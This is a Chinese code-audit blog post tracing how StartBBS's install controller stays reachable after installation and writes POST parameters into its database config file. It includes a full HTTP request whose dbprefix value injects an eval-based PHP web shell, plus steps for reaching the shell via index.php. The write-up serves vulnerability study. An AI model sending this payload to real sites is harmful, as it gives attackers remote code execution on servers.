回炉 - install位置的漏洞 - StartBBS 配置文件写入getshell
2021-04-19 16:29:15

0x00 前言

回炉重造,这一次骨头都给他啃完。

0x01 StartBBS 相关

这款cms已经很久远了,源码都没怎么搜到,最后github找到了一套源码。

环境:

php 5.5.9

mysql 5.7.26

apache 2.4.39

0x02 代码分析

入口点:

首先看一下这套源码,根目录只有一个index.php,所以应该是单一入口的MVC模式框架,那么我们就可以去跟如何去访问到具体功能点的路由。

image-20210417171858175

来到入口文件index.php。一些define定义,然后往下看到第202行,require_once包含引导文件,通过前面定义的BASEPATH我们直接去找到**/system/core/CodeIgniter.php** 。

image-20210417172337076

前面都是一些定义和全局变量,我们重点找路由怎么定义的,这里来到第264行后面。这里定义了控制器和函数的访问规则。形如:

1
http://www.keefe.is/index.php/forum/view/2

image-20210417173125429

之后就是找控制器,在入口文件index.php中定义了,控制器的位置在**/app/controllers**,直接去找看功能点代码就好了。

漏洞分析:

这里直接用seay辅助扫下功能点了。看到一个file_put_contents函数,再进去跟一下。

image-20210417174052905

来到文件**/app/controllers/install.php**

首先看到的就是很多方法都是public能直接访问或者间接访问到,除了两个private方法检测目录权限可写的不行,并且也没有做权限校验,可以直接前台构造访问。

其次就是看到了构造方法中的检测代码,通过检测一个叫install.lock来弹框提醒已经安装过了,但是比较坑的是没有用exit或者别的结束的,那么就没什么用处,其他的方法还是能够去调。

image-20210417175154408

那么继续跟刚才看到的file_put_contents方法,在_install_do方法中看到第43-51行通过POST提交db相关配置信息,存入到变量中。

image-20210417184750170

第86行之后,各个配置变量写入到$dbconfig变量中,通过第103行的file_put_contents存入文件**/app/config/database.php** 。

image-20210417184922190

这里关于数据库配置的变量都可控,但是因为数据库账号密码端口数据库名通常不能修改,影响业务,这里可以尝试对$dbprefix传参。

还有一个需要注意的点是,不要进入第54-65行的if分支。构造传参即可避免。

这里直接构造一个POST包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php/install/step/3 HTTP/1.1
Host: www.keefe.is
Content-Length: 199
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.keefe.is
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36/8mqQhSuL-09
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6,fr;q=0.5
Cookie: OHLEbekZ5dWTbackinfos=1; JKIf_2132_saltkey=yTvs6tK3; JKIf_2132_lastvisit=1617842359; PHPSESSID=2j1ajjsfg3ea6pp6tnid1n0tcd; ci_session=Ajova%2BR7eh6auval4JkwPNilAlyTJ6h8ly8CBUkXir1Q6VGtZ%2F1soCqWK5YVAhrqpNGyF%2FtVdPH2qU5%2FIzBpyveZsQ2bD6OJu1UU11c3lyfG7976I6THxjP%2BkoHw7AuMJtXcGGcYqEyWjEum8eMBwXsp%2FVHig7dxswUz5nE9ZJgCj8%2B%2F%2B2wshuUHv5NtX%2Bm3a8ETEpnzPNtelYR68onh3CeJk1czQy94KuG1zrmEJ8l0aQEWI4i0tw81QXX%2FbzEpZ%2FOmbdGuS%2BWYa522vypV3bCpFIDcJq77qs%2BTY18PiwcsmGnrt66gU%2F1pIgxPzQiMYWYvdR%2BoniXyb0lN7kKqpX97e3eW5nbO56e4CCvvnPmcc0GW3FFa78N0CUWJV7C9bD%2F25x%2BcBBdNKkStxor3Dy1l33x5U8mY%2BmWnUu7XTZHCOHF6HVWsWUKmTUWrmHW3UDkJCNdXBqsv1KuGt32ePQ%3D%3D
Connection: close

dbhost=localhost&dbport=3306&dbuser=root&dbpwd=xxxxxx&creatdb=on&dbname=startbbs&dbprefix=stb_';@eval($_POST[1]);$a='1&admin=admin&pwd=admin&email=startbbs%40126.com&base_url=

配置文件已写入shell成功。

image-20210417195119682

但是这里连接shell不能成功。原因是:

1
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

数据库配置文件一般都被包含,直接尝试连index.php入口文件即可。

image-20210417200311924

image-20210417200435140